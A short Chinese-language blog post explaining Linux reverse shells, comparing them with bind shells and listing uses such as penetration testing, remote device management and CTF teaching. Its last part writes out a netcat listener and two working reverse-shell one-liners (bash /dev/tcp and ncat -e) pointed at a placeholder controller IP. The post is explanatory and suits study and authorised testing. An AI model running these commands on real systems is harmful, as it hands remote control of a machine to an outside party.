Linux 反向 Shell

反向 Shell(Reverse Shell)是目标主机主动连接控制端,把自身的标准输入、输出、错误重定向到这条网络连接,从而让控制端获得一个交互式 Shell。

反向 Shell(Reverse Shell)对比  正向 Shell(Bind Shell):

类型 谁监听 谁连接 典型场景
正向 Shell 目标主机监听端口 控制端主动连目标 目标有公网 IP、入站端口开放
反向 Shell 控制端监听端口 目标主动连控制端 目标在 NAT/防火墙后,出站允许
 

工作原理:

  • 控制端在一台可达的主机上监听某个端口
  • 目标主机执行一段代码,创建一个 TCP/UDP 连接,连到控制端
  • 目标把 /bin/bash 或 /bin/sh 的 stdin、stdout、stderr 绑定到这个 socket
  • 控制端收到连接后,就能像本地终端一样执行命令

适用场景:

  1. 渗透测试 / 红队
    • 目标在 NAT、防火墙后,无法从外部直接连入
    • 出站策略通常比入站宽松,反向 Shell 更容易成功
    • 授权范围内用于验证边界防护、横向移动路径
  2. 远程运维 / 内网设备管理
    • 设备没有公网 IP,只能主动连管理端
    • 避免在设备上开放入站端口,减少攻击面
    • 常用于 IoT、工控、分支节点
  3. 受限网络
    • 只允许出站 80/443,反向 Shell 可走这些端口
    • 通过 HTTPS、DNS、ICMP 隧道变种绕过简单 ACL
  4. 应急响应与取证
    • 在受控、隔离环境中获取交互式会话
    • 配合审计和日志,分析可疑进程行为
  5. CTF 竞赛与教学
    • 典型题型:拿到 RCE 后建立反向 Shell 提权
    • 用于学习网络、进程、文件描述符、Shell 重定向

实现方法:

控制端(IP:1.2.3.4):nc -lvnp 55555

目标端(python、openssl 等多种方法均可实现,如下列举两种简单方法):

方法 1:bash -i >& /dev/tcp/1.2.3.4/55555 0>&1

方法 2:ncat -e /bin/bash 1.2.3.4 55555

posted @ 2026-09-29 10:42  demoduan  阅读(8)  评论(0)    收藏  举报